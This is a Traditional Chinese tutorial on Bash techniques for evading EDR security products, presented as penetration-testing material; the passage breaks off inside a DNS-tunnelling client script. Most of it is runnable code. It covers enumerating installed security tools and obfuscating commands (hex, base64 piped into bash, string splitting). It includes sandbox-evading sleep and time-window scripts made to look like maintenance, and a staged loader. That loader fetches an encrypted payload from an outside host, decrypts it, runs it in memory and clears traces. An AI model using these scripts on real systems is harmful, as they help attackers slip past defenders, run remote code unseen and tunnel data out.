現代端點偵測與回應(Endpoint Detection and Response, EDR)系統已發展成為企業資訊安全防護的核心機制,這類系統具備高度智慧化的監控能力,能夠即時分析系統行為模式、識別異常活動,並對潛在威脅進行快速回應。對於從事滲透測試或安全評估的專業人員而言,深入理解這些防護機制的運作原理及其限制,成為提升測試效能與系統安全性的關鍵要素。本文將系統性地介紹一系列在 Bash 環境下實作的混淆與反偵測技術,這些技術涵蓋了從基礎的系統資訊蒐集到進階的指令碼混淆策略,包括系統日誌分析、套件管理器資料探勘、環境變數檢測、多層次指令碼混淆技術,以及時間基礎的規避策略等面向。

透過實際的程式碼範例與詳細的技術解說,本文將展示如何在合法的安全測試情境下,運用這些技術來評估 EDR 系統的偵測能力與防護邊界。文章中所提供的所有技術與程式碼範例,均應在取得適當授權的測試環境中使用,並遵循相關的法律規範與職業道德準則。這些知識的目的在於協助資安專業人員更全面地理解攻擊者可能採用的手段,從而建立更完善的防護策略,提升整體系統的安全防護水準。

EDR 系統偵測與資訊蒐集技術

在進行安全評估時,首要任務是全面性地瞭解目標系統的安全防護配置。這個階段的工作重點在於識別系統中部署的安全軟體類型、版本資訊,以及其運作狀態。透過系統性的資訊蒐集,測試人員能夠更精確地評估後續測試策略的可行性,並針對特定的防護機制設計相應的測試方案。

系統日誌分析與安全軟體識別

系統日誌記錄了作業系統運作過程中的各種事件資訊,其中包含了安全軟體的安裝、啟動、更新等關鍵活動記錄。透過分析這些日誌檔案,測試人員能夠獲取關於系統安全配置的重要線索。在 Linux 系統中,主要的系統日誌檔案位於 /var/log 目錄下,其中 syslog 檔案記錄了系統層級的各類事件資訊。

執行日誌分析時,可以針對特定的關鍵字進行搜尋,例如與防毒軟體(antivirus)、EDR 系統或其他安全防護軟體相關的字串。這種搜尋方式能夠快速定位到與安全軟體相關的日誌條目,進而分析其部署狀態與運作情況。

# 搜尋系統日誌中與安全軟體相關的記錄
# 使用擴展正規表示式(Extended Regular Expression)進行模式比對
# -E 參數啟用擴展正規表示式語法
# 搜尋目標包含防毒軟體、EDR 系統等關鍵字
grep -E "(av|antivirus|edr|endpoint|protection|security)" /var/log/syslog

這個命令透過 grep 工具的擴展正規表示式功能,在系統日誌中尋找包含特定關鍵字的記錄。正規表示式中的管線符號(|)代表邏輯或運算,使得搜尋能夠同時涵蓋多個相關的關鍵詞。透過分析搜尋結果,可以瞭解系統中是否安裝了安全軟體,以及這些軟體的基本資訊與運作狀態。

套件管理系統資料分析

在 Linux 作業系統中,軟體的安裝與管理通常透過套件管理系統來完成。不同的 Linux 發行版本採用不同的套件管理工具,例如 Debian 系列使用 dpkg,Red Hat 系列使用 rpm。透過查詢這些套件管理系統的資料庫,能夠獲取系統中已安裝軟體的完整清單,包括安全防護軟體。

對於基於 Debian 的系統(如 Ubuntu、Debian 等),可以使用 dpkg 命令列出所有已安裝的套件,並透過管線將結果傳遞給 grep 進行篩選。這種方法能夠精確地識別出系統中安裝的安全軟體套件,包括其版本號、安裝狀態等詳細資訊。

# 在 Debian 系列系統中查詢已安裝的安全軟體套件
# dpkg -l 列出所有已安裝的套件及其狀態資訊
# 透過 grep 篩選出與安全軟體相關的套件
dpkg -l | grep -E "(av|antivirus|edr|endpoint|defender|protection)"

對於基於 Red Hat 的系統(如 CentOS、Fedora、RHEL 等),則需要使用 rpm 套件管理工具。rpm 命令的 -qa 參數用於查詢所有已安裝的套件,同樣可以透過 grep 進行篩選,以識別安全相關的軟體套件。

# 在 Red Hat 系列系統中查詢已安裝的安全軟體套件
# rpm -qa 查詢所有(query all)已安裝的套件
# 篩選條件涵蓋常見的安全軟體關鍵字
rpm -qa | grep -E "(av|antivirus|edr|endpoint|defender|protection)"

這些查詢命令不僅能夠識別出明確標示為安全軟體的套件,還能夠發現一些整合在系統中的安全元件或相依套件。透過分析這些資訊,測試人員能夠建立對目標系統安全配置的全面認識。

環境變數檢測與分析

某些安全軟體或 EDR 解決方案在安裝後會設定特定的環境變數,這些環境變數可能用於指示軟體的安裝路徑、配置參數,或是作為軟體元件之間通訊的媒介。透過檢查系統的環境變數,能夠發現這些潛在的安全軟體存在跡象。

# 列出所有環境變數並篩選與安全防護相關的項目
# env 命令顯示當前 shell 環境中的所有環境變數
# 搜尋常見的安全軟體環境變數命名模式
env | grep -E "(AV|EDR|PROTECT|DEFEND|SECURITY|ENDPOINT)"

環境變數的命名通常遵循一定的慣例,安全軟體廠商可能會使用特定的前綴或關鍵字來命名其相關的環境變數。透過搜尋這些特徵性的命名模式,能夠識別出系統中可能存在的安全防護軟體。此外,環境變數的值本身也可能包含有用的資訊,例如安全軟體的版本號、安裝路徑或配置參數等。

綜合性系統安全配置檢測腳本

為了更有效率地進行系統安全配置的評估,可以將前述的各種檢測技術整合成一個綜合性的檢測腳本。這個腳本會系統性地檢查多個面向,包括執行中的行程、檔案系統結構、網路連線狀態、系統服務以及核心模組等,從而提供對系統安全配置的全面性視野。

#!/usr/bin/env bash

# Bash 腳本起始宣告,指定使用 bash 作為執行環境
# /usr/bin/env bash 提供更好的可移植性,會在 PATH 中尋找 bash

echo "開始進行 EDR/安全軟體存在性檢測..."
echo "========================================"

# 第一階段:行程檢測
# 檢查當前執行中的行程是否包含安全軟體相關的名稱
echo ""
echo "[1] 行程分析:"
echo "----------------------------------------"
# ps aux 顯示系統中所有行程的詳細資訊
# a: 顯示所有使用者的行程
# u: 以使用者導向的格式顯示
# x: 包含沒有控制終端機的行程
ps aux | grep -E "(av|edr|protect|defend|guard|sentinel|crowd|carbon)" | grep -v grep

# 第二階段:檔案系統檢測
# 檢查常見的安全軟體安裝目錄
echo ""
echo "[2] 檔案系統分析:"
echo "----------------------------------------"
# /opt 目錄通常用於安裝第三方軟體
# /etc 目錄包含系統配置檔案
# ls -l 列出詳細的檔案資訊(權限、擁有者、大小、修改時間等)
ls -l /opt /etc 2>/dev/null | grep -E "(av|antivirus|edr|protect|sentinel|defender)"

# 第三階段:網路連線檢測
# 檢查是否存在與已知 EDR 服務埠的連線
echo ""
echo "[3] 網路連線分析:"
echo "----------------------------------------"
# ss 命令用於檢查網路連線狀態(socket statistics)
# -t: 顯示 TCP 連線
# -u: 顯示 UDP 連線
# -l: 顯示監聽中的 socket
# -n: 以數字形式顯示位址和埠號(不進行 DNS 解析)
ss -tuln 2>/dev/null | grep -E "(8080|443|22|9443|8443)"

# 第四階段:系統服務檢測
# 檢查系統中執行的服務是否包含安全軟體
echo ""
echo "[4] 系統服務分析:"
echo "----------------------------------------"
# systemctl 是 systemd 系統和服務管理器的命令列工具
# list-units: 列出所有單元
# --type=service: 只顯示服務類型的單元
# --state=running: 只顯示正在執行的服務(可選)
systemctl list-units --type=service 2>/dev/null | grep -E "(av|antivirus|edr|protect|defender|sentinel)"

# 第五階段:核心模組檢測
# 檢查載入的核心模組是否包含安全相關的模組
echo ""
echo "[5] 核心模組分析:"
echo "----------------------------------------"
# lsmod 列出當前載入的所有核心模組
# 核心模組是可以動態載入到核心中的程式碼
# 安全軟體可能會載入特定的核心模組來實現深層防護
lsmod | grep -E "(av|edr|protect|defend|guard|security)"

echo ""
echo "========================================"
echo "系統安全配置檢測完成"
echo "請分析以上輸出結果以評估 EDR/安全軟體的部署情況"

這個綜合性檢測腳本採用了多階段檢測策略,每個階段針對系統的不同面向進行分析。行程檢測能夠識別正在執行的安全軟體行程,檔案系統檢測能夠發現已安裝的安全軟體目錄,網路連線檢測能夠發現與安全軟體伺服器的通訊,系統服務檢測能夠識別註冊為系統服務的安全軟體,而核心模組檢測則能夠發現在核心層級運作的安全防護機制。透過這五個面向的綜合分析,測試人員能夠建立對目標系統安全配置的全面性理解。

EDR 遠端通訊偵測技術

現代 EDR 系統通常採用雲端架構,終端代理程式需要定期與遠端伺服器進行通訊,以傳送遙測資料、接收政策更新,或回報安全事件。這些通訊行為會在網路層留下可偵測的特徵,透過監控網路連線狀態,能夠識別出系統是否正在與已知的 EDR 服務供應商進行通訊。

#!/usr/bin/env bash

# 定義常見 EDR 廠商的遠端主機網域名稱陣列
# 這些網域名稱是各大 EDR 服務供應商的已知通訊端點
edr_hostnames=(
    "*.crowdstrike.com"      # CrowdStrike Falcon 平台
    "*.sentinelone.net"      # SentinelOne 端點防護
    "*.carbonblack.com"      # VMware Carbon Black
    "*.cylance.com"          # BlackBerry Cylance
    "*.symantec.com"         # Symantec/Broadcom 端點防護
    "*.mcafee.com"           # McAfee/Trellix 安全產品
    "*.trendmicro.com"       # Trend Micro 防護方案
    "*.sophos.com"           # Sophos 端點防護
    "*.kaspersky.com"        # Kaspersky 安全產品
    "*.fireeye.com"          # FireEye/Mandiant 威脅偵測
    "*.microsoft.com"        # Microsoft Defender
    "*.paloaltonetworks.com" # Palo Alto Networks Cortex
)

# 定義檢測 EDR 連線的函式
check_edr_connections() {
    echo "正在檢測與已知 EDR 服務的網路連線..."
    echo "========================================"
    
    # 宣告計數器變數,用於統計發現的連線數量
    local connection_found=0
    
    # 使用 for 迴圈遍歷 EDR 主機名稱陣列
    # "${edr_hostnames[@]}" 會展開陣列中的所有元素
    for hostname in "${edr_hostnames[@]}"; do
        # ss 命令用於檢查網路連線狀態
        # -t: TCP 連線
        # -u: UDP 連線
        # -a: 顯示所有 socket(監聽中和已建立的)
        # -r: 嘗試解析 IP 位址為主機名稱
        # grep -q 進行靜默搜尋(不輸出符合的行,只返回是否找到)
        if ss -tuar 2>/dev/null | grep -qi "$hostname"; then
            echo "[偵測到] 發現連線至: $hostname"
            ((connection_found++))
            
            # 顯示該連線的詳細資訊
            echo "  連線詳情:"
            ss -tuar 2>/dev/null | grep -i "$hostname" | sed 's/^/    /'
            echo ""
        fi
    done
    
    echo "========================================"
    # 輸出檢測總結
    if [ $connection_found -eq 0 ]; then
        echo "未檢測到與已知 EDR 服務的連線"
    else
        echo "共檢測到 $connection_found 個 EDR 服務連線"
    fi
}

# 執行 EDR 連線檢測函式
check_edr_connections

這個腳本透過監控系統的網路連線狀態,檢查是否存在與已知 EDR 服務供應商網域的連線。腳本中預先定義了主流 EDR 產品的網域名稱清單,透過系統性地檢查這些網域的連線狀態,能夠識別出系統中部署的 EDR 解決方案。這種檢測方法特別有效,因為即使 EDR 代理程式試圖隱藏其行程資訊或檔案系統痕跡,其網路通訊行為仍然會留下可偵測的特徵。

透過分析檢測結果,測試人員不僅能夠確認 EDR 系統的存在,還能夠識別出具體的產品型號,進而針對特定產品的特性設計更精確的測試策略。這種情報蒐集工作是成功進行安全評估的重要基礎。

Bash 指令碼混淆技術深入解析

在安全測試場景中,指令碼混淆技術扮演著關鍵角色。這類技術的核心目的是透過轉換程式碼的外在形式,使其難以被自動化工具直接識別,同時保持程式碼的功能完整性。混淆技術並非為了隱藏惡意意圖,而是作為評估安全防護系統偵測能力的測試手段。透過系統性地應用不同層級的混淆技術,測試人員能夠評估目標系統的防護機制在面對各種規避手法時的有效性。

基礎混淆技術原理

最基本的混淆技術涉及字串的編碼轉換。在 Bash 環境中,可以利用多種方式來表示相同的字串內容,例如透過十六進位編碼、八進位編碼,或是 ASCII 數值表示法。這些不同的表示方式在執行時會被 shell 解譯為相同的最終結果,但其外在形式卻與原始程式碼大相逕庭。

#!/usr/bin/env bash

# 原始指令碼範例:直接輸出訊息
# 這是最直接且易於理解的寫法
echo "Hello, World!"

上述程式碼的功能非常直觀,直接使用 echo 命令輸出一段文字訊息。然而,這種直白的寫法容易被安全掃描工具識別。透過應用字串編碼技術,可以將相同的功能改寫為較不易識別的形式。

#!/usr/bin/env bash

# 混淆後的版本:使用十六進位編碼表示命令和字串
# printf "\x65\x63\x68\x6f" 會輸出 "echo"
# $(...) 是命令替換語法,會執行括號內的命令並返回其輸出
$(printf "\x65\x63\x68\x6f") "$(printf "\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21")"

在這個混淆版本中,原本的 echo 命令和 “Hello, World!” 字串都被轉換為十六進位表示法。printf 命令配合 \x 前綴可以解釋十六進位數值並輸出對應的字元。外層的 $(...) 命令替換語法會先執行內部的 printf 命令,將十六進位編碼還原為原始字串,再將其作為命令執行。這種技術雖然在功能上與原始版本完全相同,但其外觀形式已經發生顯著變化,使得基於特徵比對的偵測系統難以直接識別。

命令與參數分離技術

另一種常見的混淆手法是將命令與其參數分離儲存,再在執行時動態組合。這種技術利用了 Bash 變數展開與命令執行的特性,將原本連續的命令字串拆分成多個部分,降低了整體的可識別性。

#!/usr/bin/env bash

# 原始命令:直接執行 sudo -l 查詢當前使用者的 sudo 權限
sudo -l

這個命令用於列出當前使用者可以透過 sudo 執行的命令。這是滲透測試中常用的權限列舉命令,容易被安全監控系統標記。

#!/usr/bin/env bash

# 基礎混淆:將命令和參數分別儲存在變數中
# 這種方式打破了命令的完整字串特徵
cmd="sudo"  # 命令主體
args="-l"   # 命令參數

# 透過變數展開來執行命令
# Bash 會先將變數替換為其值,再執行結果命令
$cmd $args

在這個版本中,命令被拆分為命令主體和參數兩個部分,分別儲存在不同的變數中。執行時,Bash 會先進行變數展開,將 $cmd$args 替換為對應的值,最終效果等同於執行 sudo -l。這種拆分方式使得靜態程式碼分析工具難以直接識別出完整的命令字串。

更進階的混淆則可以採用十六進位編碼技術,將命令字串完全編碼化。

#!/usr/bin/env bash

# 進階混淆:使用十六進位編碼表示命令
# \x73\x75\x64\x6f 對應 ASCII 碼: s(115), u(117), d(100), o(111)
# \x2d\x6c 對應 ASCII 碼: -(45), l(108)
$(printf '\x73\x75\x64\x6f') $(printf '\x2d\x6c')

這個版本將整個命令都轉換為十六進位 ASCII 碼表示法。每個字元都透過其對應的十六進位數值來表示,printf 命令負責將這些數值還原為可執行的字串。命令替換語法確保了還原後的字串會被作為命令執行。這種深度混淆方式大幅增加了程式碼的解讀難度。

進階混淆技術應用

在基礎混淆技術的基礎上,可以進一步應用更複雜的轉換手法,包括 Base64 編碼、字串分割組合、Bash 特殊語法利用等。這些技術的組合使用能夠創造出更難以偵測的程式碼形式。

Base64 編碼是一種常用的二進位資料文字化表示方式,在混淆技術中也有廣泛應用。

#!/usr/bin/env bash

# Base64 編碼混淆技術
# "c3VkbyAtbA==" 是 "sudo -l" 的 Base64 編碼結果
# 整個過程:解碼 Base64 字串 -> 將結果傳給 bash 執行

# echo 輸出 Base64 編碼的字串
# | 管線符號將輸出傳遞給下一個命令
# base64 -d 進行 Base64 解碼(-d 代表 decode)
# | 再次使用管線將解碼結果傳給 bash
# bash 讀取標準輸入的內容並執行
echo "c3VkbyAtbA==" | base64 -d | bash

Base64 編碼技術將原始命令轉換為一串看似隨機的字元序列,這種編碼形式完全遮蔽了原始命令的字串特徵。在執行時,程式碼會先將 Base64 字串解碼還原,再將還原後的命令傳遞給 bash 執行。這種多層轉換的過程有效地規避了基於字串特徵的偵測機制。

命令分割技術則利用了 Bash 的變數拼接特性,將命令拆分為多個片段,再透過變數展開重新組合。

#!/usr/bin/env bash

# 命令分割混淆技術
# 將命令拆分為多個環境變數,降低單一變數的可疑程度
export CMD_PART1="su"   # 命令前半部分
export CMD_PART2="do"   # 命令後半部分
export ARG="-l"         # 命令參數

# 透過變數拼接重組命令
# Bash 會將 $CMD_PART1$CMD_PART2 展開為 "sudo"
# 然後執行 sudo -l
$CMD_PART1$CMD_PART2 $ARG

這種技術將 “sudo” 拆分為 “su” 和 “do” 兩個部分,分別儲存在不同的環境變數中。執行時,Bash 的變數展開機制會自動將這些片段連接起來,形成完整的命令。這種拆分方式使得任何單一變數都不包含完整的敏感命令字串,降低了被偵測的風險。

Bash 的大括號擴展(Brace Expansion)語法也可以用於混淆目的,這種語法原本用於產生字串序列,但也可以巧妙地用於命令混淆。

#!/usr/bin/env bash

# 大括號擴展混淆技術
# {s,u,d,o} 會展開為四個獨立的字串: s u d o
# " " 在中間添加空格分隔符
# -{l} 會展開為 -l
# 最終效果等同於執行: s u d o - l(但這不是有效命令)

# 正確的使用方式應該是:
echo {s,u,d,o} | tr -d ' ' | xargs -I {} echo {}{} $(echo -l)

大括號擴展是 Bash 的一個強大功能,可以產生字串的組合。雖然直接使用大括號擴展無法執行命令,但可以結合其他技術來達成混淆目的。

使用 cut 命令進行字串擷取也是一種有效的混淆手法,這種技術透過擷取冗餘字串的特定部分來產生所需的命令字串。

#!/usr/bin/env bash

# cut 命令混淆技術
# <<< 是 here-string 語法,將字串作為標準輸入
# cut -c1-4 擷取字串的前4個字元(從位置1到4)
# "sudo sudo" 中的前4個字元是 "sudo"
# 同理 "-l -l" 的前2個字元是 "-l"

# $(...) 命令替換會先執行 cut 命令
# 然後將其輸出作為實際要執行的命令
$(cut -c1-4 <<< "sudo sudo") $(cut -c1-2 <<< "-l -l")

這種技術的精妙之處在於使用冗餘字串作為原始素材,透過 cut 命令擷取所需的部分。原始字串 “sudo sudo” 和 “-l -l” 看起來像是重複或錯誤的輸入,但透過精確的字元位置擷取,可以從中提取出正確的命令元素。這種混淆方式增加了程式碼分析的複雜度。

ASCII 十進位數值表示法是另一種更為複雜的編碼技術,它將每個字元轉換為其對應的 ASCII 十進位數值,再透過 printf 命令還原。

#!/usr/bin/env bash

# ASCII 十進位數值混淆技術
# 這是最複雜的編碼形式之一

# 內層 printf '%x' 將十進位數值轉換為十六進位
# 外層 printf "\x..." 將十六進位數值轉換為對應字元

# 's' 的 ASCII 碼是 115
# 'u' 的 ASCII 碼是 117
# 'd' 的 ASCII 碼是 100
# 'o' 的 ASCII 碼是 111
# '-' 的 ASCII 碼是 45
# 'l' 的 ASCII 碼是 108

$(printf "\x$(printf '%x' 115)\x$(printf '%x' 117)\x$(printf '%x' 100)\x$(printf '%x' 111)") \
$(printf "\x$(printf '%x' 45)\x$(printf '%x' 108)")

這個混淆技術採用了三層轉換機制,首先將字元的 ASCII 十進位數值透過 printf '%x' 轉換為十六進位,然後再透過 \x 前綴將十六進位數值還原為字元,最後透過命令替換執行。這種多層嵌套的轉換過程創造了極高的混淆程度,使得程式碼分析變得異常困難。每個字元都經過了數值化和多次格式轉換,完全遮蔽了原始命令的可讀性。

@startuml
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16

title Bash 指令碼混淆技術層級架構

package "混淆技術層級" {
    [原始指令碼] as original
    [字串編碼混淆] as encode
    [命令分割混淆] as split
    [進階轉換混淆] as advanced
    [多層嵌套混淆] as nested
}

package "編碼技術" {
    [十六進位編碼] as hex
    [Base64 編碼] as base64
    [ASCII 數值編碼] as ascii
}

package "語法技巧" {
    [變數展開] as variable
    [命令替換] as substitution
    [大括號擴展] as brace
    [字串擷取] as cut
}

original --> encode : 初級轉換
encode --> split : 結構重組
split --> advanced : 深度混淆
advanced --> nested : 複雜化

encode ..> hex : 使用
encode ..> base64 : 使用
advanced ..> ascii : 使用

split ..> variable : 應用
advanced ..> substitution : 應用
advanced ..> brace : 應用
advanced ..> cut : 應用

note right of nested
    混淆層級越高
    偵測難度越大
    但可讀性越低
end note

@enduml

透過以上各種混淆技術的系統性應用,測試人員能夠創造出具有不同混淆程度的測試腳本,用以評估目標系統的偵測能力。重要的是,這些技術應該在合法的安全測試環境中使用,並遵循相關的法律規範與職業道德。

時間基礎規避策略實作

時間基礎規避(Time-based Evasion)技術是一種進階的反偵測策略,其核心概念是利用時間因素來改變程式碼的執行行為,從而規避安全監控系統的偵測。現代 EDR 系統通常會對可疑程式進行沙箱分析或行為模擬,但這類分析環境往往有時間限制,無法長時間執行待測程式。時間基礎規避技術正是利用這個限制,透過延遲執行或時間條件判斷,使得惡意行為在分析環境的時間窗口之外才被觸發。

時間窗口觸發機制

時間窗口觸發技術的基本原理是設定特定的時間條件,只有當系統時間符合預設條件時,才會執行核心的測試程式碼。這種機制能夠確保程式碼在預期的時間點執行,同時避開可能的自動化分析時段。

#!/usr/bin/env bash

# 時間窗口觸發機制實作
# 這個腳本會檢查當前系統時間,只在特定時間範圍內執行測試負載

# 獲取當前時間的小時部分(24小時制,範圍 00-23)
# date 命令的 +%H 格式化參數會回傳兩位數的小時值
current_hour=$(date +%H)

# 同時獲取分鐘數,用於更精確的時間控制
current_minute=$(date +%M)

# 獲取星期幾(1-7,1代表星期一,7代表星期日)
day_of_week=$(date +%u)

echo "當前系統時間: $(date '+%Y-%m-%d %H:%M:%S')"
echo "檢測到時間: ${current_hour}:${current_minute}"
echo "星期: $day_of_week"

# 時間條件判斷:只在凌晨1點到3點之間執行
# 這個時間段通常是系統較少被主動監控的時段
if [ "$current_hour" -ge 1 ] && [ "$current_hour" -lt 3 ]; then
    echo "[時間窗口符合] 開始執行測試負載..."
    
    # 進一步的條件檢查:避開週末執行
    # 企業環境在週末的監控強度可能不同
    if [ "$day_of_week" -le 5 ]; then
        echo "[條件確認] 工作日環境,繼續執行"
        
        # 在這裡放置實際的測試程式碼
        # 例如權限檢查、系統列舉等操作
        echo "執行系統資訊收集..."
        whoami
        id
        pwd
        
        # 記錄執行時間
        echo "測試負載執行完成於: $(date '+%Y-%m-%d %H:%M:%S')"
    else
        echo "[條件不符] 週末時段,跳過執行"
    fi
else
    # 時間條件不符合時執行無害操作
    # 這些操作看起來像正常的系統維護活動
    echo "[時間窗口不符] 執行常規系統檢查..."
    
    # 執行一些看起來正常的系統命令
    echo "系統運行時間:"
    uptime
    
    echo "磁碟使用狀況:"
    df -h | head -5
    
    echo "記憶體使用狀況:"
    free -h
    
    echo "常規檢查完成,系統狀態正常"
fi

這個腳本展示了完整的時間窗口觸發機制實作。腳本首先取得當前的系統時間資訊,包括小時、分鐘和星期幾。透過條件判斷,腳本會檢查當前時間是否落在預設的執行窗口內(凌晨1點到3點之間)。如果時間條件符合,還會進一步檢查是否為工作日,只有在所有條件都滿足時才執行實際的測試程式碼。如果時間條件不符,腳本則執行一些看起來正常的系統檢查命令,這些命令的行為模式與一般的系統維護腳本相似,不易引起懷疑。

延遲執行與多階段觸發

延遲執行技術透過在程式碼中加入睡眠陳述式(sleep statement)來延後關鍵操作的執行時機。雖然現代 EDR 系統已經開始注意到簡單的 sleep 函式呼叫,但透過多階段延遲和實際工作的穿插,仍然能夠有效地增加偵測難度。

#!/usr/bin/env bash

# 多階段延遲執行機制
# 這個腳本會透過多次延遲和中間操作來規避快速掃描

echo "[階段 0] 腳本啟動,初始化環境..."
echo "啟動時間: $(date '+%Y-%m-%d %H:%M:%S')"

# 第一階段延遲: 短時間等待,模擬初始化過程
# 10分鐘的延遲,使得快速掃描工具超時
echo "[階段 1] 執行系統環境檢查..."
sleep 600  # 600秒 = 10分鐘

# 執行一些看似正常的系統操作
# 這些操作增加了腳本的"合法性"外觀
echo "[階段 1] 收集系統資訊..."
system_info=$(uname -a)
echo "系統資訊: $system_info"

# 檢查網路連接狀態
echo "網路介面狀態:"
ip addr show | grep "inet " | head -3

# 定義測試負載的相關配置
# 使用變數儲存可以降低明顯的字串特徵
PAYLOAD_URL="https://example.com/test_payload.enc"
DECRYPT_KEY="5ebe2294ecd0e0f08eab7690d2a6ee69"
TEMP_FILE="/tmp/.system_cache_$(date +%s)"

echo "[階段 2] 準備下載測試資源..."

# 模擬檢查網路可達性
if ping -c 1 example.com &> /dev/null; then
    echo "網路連接正常"
    
    # 下載加密的測試負載
    # 使用 curl 的靜默模式減少輸出
    # -s 參數啟用靜默模式,-S 在錯誤時仍顯示訊息
    echo "下載測試資源..."
    encrypted_data=$(curl -sS "$PAYLOAD_URL" 2>/dev/null)
    
    if [ -n "$encrypted_data" ]; then
        echo "資源下載完成,準備解密..."
        
        # 解密下載的資料
        # 使用 AES-256-CBC 加密演算法
        # -d 參數表示解密模式
        # -K 指定加密金鑰(十六進位格式)
        # -iv 指定初始化向量(Initialization Vector)
        decrypted_payload=$(echo "$encrypted_data" | \
            openssl enc -aes-256-cbc -d -K "$DECRYPT_KEY" \
            -iv 0000000000000000 2>/dev/null | base64)
        
        if [ $? -eq 0 ]; then
            echo "解密成功"
        else
            echo "解密失敗,中止執行"
            exit 1
        fi
    else
        echo "資源下載失敗"
        exit 1
    fi
else
    echo "網路無法連接,使用備用方案"
    # 這裡可以實作備用的測試程式碼
fi

# 第二階段延遲: 長時間等待
# 這個延遲會超出大多數沙箱環境的分析時間
echo "[階段 3] 執行系統最佳化作業..."
sleep 7200  # 7200秒 = 2小時

# 最終執行階段
echo "[階段 4] 執行測試負載..."
echo "執行時間: $(date '+%Y-%m-%d %H:%M:%S')"

# 從記憶體中執行解密後的負載
# 使用 bash 的 process substitution 特性
# <(...) 創建一個臨時的 FIFO 檔案描述符
# echo "$decrypted_payload" | base64 -d 會解碼 Base64 編碼的負載
if [ -n "$decrypted_payload" ]; then
    bash <(echo "$decrypted_payload" | base64 -d)
    echo "測試負載執行完成"
else
    echo "無有效負載,執行備用檢查"
    # 執行一些基本的系統檢查作為備用
    echo "當前使用者: $(whoami)"
    echo "使用者權限: $(id)"
fi

# 清理痕跡
echo "[階段 5] 清理臨時資料..."
unset PAYLOAD_URL
unset DECRYPT_KEY
unset encrypted_data
unset decrypted_payload

echo "所有作業完成於: $(date '+%Y-%m-%d %H:%M:%S')"

這個腳本展示了複雜的多階段延遲執行機制。腳本被分為五個階段,每個階段之間都有延遲或實際的系統操作。第一階段的10分鐘延遲會使得快速掃描工具超時,而第二階段的2小時延遲則超出了大多數沙箱環境的最長分析時間。在延遲之間穿插正常的系統操作,使得腳本的行為模式更接近合法的維護腳本。

腳本還展示了加密負載的下載與解密過程,測試資料以加密形式儲存和傳輸,只在執行時才在記憶體中解密。這種技術避免了在磁碟上留下明顯的可疑檔案,同時也增加了靜態分析的難度。最後的清理階段會移除敏感變數,減少記憶體中的可疑痕跡。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

title 時間基礎規避策略執行流程

start
:腳本啟動;
:記錄啟動時間;
:階段1: 初始延遲\n(600秒);
:執行系統環境檢查;
:收集系統資訊;
:檢查網路狀態;

if (時間窗口檢查) then (符合條件)
    :準備下載測試資源;
    
    if (網路連接檢查) then (可連接)
        :下載加密負載;
        
        if (下載成功?) then (是)
            :使用 AES-256-CBC\n解密負載;
            
            if (解密成功?) then (是)
                :階段2: 長時間延遲\n(7200秒);
                :執行解密後的\n測試負載;
                :記錄執行結果;
            else (否)
                :解密失敗,中止執行;
                stop
            endif
        else (否)
            :下載失敗,啟用備用方案;
        endif
    else (無法連接)
        :使用本地備用測試;
    endif
else (不符合)
    :執行常規系統檢查;
    :記錄系統狀態;
endif

:清理臨時資料;
:移除敏感變數;
:記錄完成時間;
stop

@enduml

DNS 隧道資料傳輸技術

DNS 隧道(DNS Tunneling)是一種利用 DNS 協定進行隱蔽資料傳輸的技術。由於 DNS 流量在大多數網路環境中都是被允許的,且很少受到深度檢查,因此可以被用作隱蔽的通訊通道。這種技術透過將資料編碼到 DNS 查詢請求中,或從 DNS 回應中提取資料,實現資料的雙向傳輸。

#!/usr/bin/env bash

# DNS 隧道客戶端實作
# 這個腳本展示如何透過 DNS 查詢來傳輸和接收資料

# 配置 DNS 伺服器資訊
# 在實際使用中,這應該是您控制的 DNS 伺服器
DNS_SERVER="192.168.1.100"  # 自訂 DNS 伺服器 IP 位址
TUNNEL_DOMAIN="tunnel.example.com"  # 用於隧道通訊的網域名稱
MAX_LABEL_LENGTH=63  # DNS 標籤的最大長度限制

echo "DNS 隧道通訊系統"
echo "================================"
echo "DNS 伺服器: $DNS_SERVER"
echo "隧道網域: $TUNNEL_DOMAIN"
echo ""

# 資料編碼函式
# 將原始資料編碼為適合 DNS 查詢的格式
encode_data() {
    local raw_data="$1"
    # 使用 Base64 編碼,並移除 padding 字元(=)
    # tr -d '=' 移除等號,tr -d '\n' 移除換行符號
    # Base64 編碼可以將任意二進位資料轉換為 ASCII 字元
    echo -n "$raw_data" | base64 | tr -d '=\n' | tr '+/' '-_'
}

# 資料解碼函式
# 將從 DNS 回應中提取的資料解碼回原始格式
decode_data() {
    local encoded_data="$1"
    # 還原 Base64 的 URL-safe 字元
    # 補回可能缺失的 padding
    local padded_data="$encoded_data"
    case $((${#encoded_data} % 4)) in
        2) padded_data="${encoded_data}==" ;;
        3) padded_data="${encoded_data}=" ;;
    esac
    echo -n "$padded_data" | tr '-_' '+/' | base64 -d 2>/dev/null
}

# 資料檢索函式
# 透過 DNS TXT 記錄查詢來檢索資料
retrieve_data() {
    local query_key="$1"
    
    # 構建 DNS 查詢的完整網域名稱
    # 格式: <key>.get.<tunnel_domain>
    local full_query="${query_key}.get.${TUNNEL_DOMAIN}"
    
    echo "[查詢] 正在發送 DNS 請求: $full_query"
    echo "       目標伺服器: $DNS_SERVER"
    
    # 使用 dig 命令進行 DNS 查詢
    # @$DNS_SERVER 指定查詢的 DNS 伺服器
    # +short 只顯示簡短的答案部分
    # +time=5 設定查詢超時時間為5秒
    # +tries=2 設定重試次數為2次
    # TXT 指定查詢 TXT 類型的記錄
    local dns_result=$(dig @$DNS_SERVER +short +time=5 +tries=2 TXT "$full_query" 2>/dev/null)
    
    # 檢查查詢結果
    if [ -n "$dns_result" ]; then
        echo "[成功] 收到 DNS 回應"
        
        # 移除 TXT 記錄周圍的引號
        # tr -d '"' 移除所有雙引號字元
        local clean_result=$(echo "$dns_result" | tr -d '"')
        
        echo "[資料] 原始 TXT 記錄: $clean_result"
        
        # 解碼資料
        local decoded_result=$(decode_data "$clean_result")
        
        # 驗證解碼結果
        if [ $? -eq 0 ] && [ -n "$decoded_result" ]; then
            echo "[解碼] 成功解碼資料"
            echo "       內容: $decoded_result"
            return 0
        else
            echo "[錯誤] 資料解碼失敗"
